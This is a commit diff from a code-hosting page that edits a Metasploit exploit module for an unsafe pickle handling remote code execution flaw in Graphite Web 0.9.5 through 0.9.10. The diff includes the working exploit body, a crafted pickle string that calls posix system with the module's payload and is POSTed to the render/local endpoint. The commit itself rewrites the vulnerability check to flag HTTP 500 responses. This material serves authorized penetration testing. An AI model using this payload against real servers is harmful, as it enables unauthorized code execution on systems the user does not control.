Fix check method
parent
533d98bd1b
commit
42f774a064
|
@ -16,11 +16,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Graphite Web Unsafe Pickle Handling',
|
'Name' => 'Graphite Web Unsafe Pickle Handling',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits a remote code execution vulnerability in the
|
This module exploits a remote code execution vulnerability in the pickle
|
||||||
pickle handling of the rendering code in the Graphite Web project between
|
handling of the rendering code in the Graphite Web project between version
|
||||||
version 0.9.5 and 0.9.10(both included).
|
0.9.5 and 0.9.10(both included).
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Charlie Eriksen' # Initial discovery and exploit
|
'Charlie Eriksen' # Initial discovery and exploit
|
||||||
],
|
],
|
||||||
|
@ -60,19 +60,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'method' => 'POST'
|
'method' => 'POST'
|
||||||
})
|
})
|
||||||
|
|
||||||
if response.code != 200
|
if response and response.code == 500
|
||||||
return Exploit::CheckCode::Appears
|
return Exploit::CheckCode::Detected
|
||||||
end
|
end
|
||||||
return Exploit::CheckCode::Safe
|
return Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."
|
data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."
|
||||||
|
|
||||||
|
print_status("Sending exploit payload...")
|
||||||
|
|
||||||
response = send_request_cgi({
|
response = send_request_cgi({
|
||||||
'uri' => normalize_uri(target_uri.path, 'render', 'local'),
|
'uri' => normalize_uri(target_uri.path, 'render', 'local'),
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'data' => data
|
'data' => data
|
||||||
})
|
})
|
||||||
print_status("Sent exploit payload")
|
|
||||||
end
|
end
|
||||||
end
|
end
|
Loading…
Reference in New Issue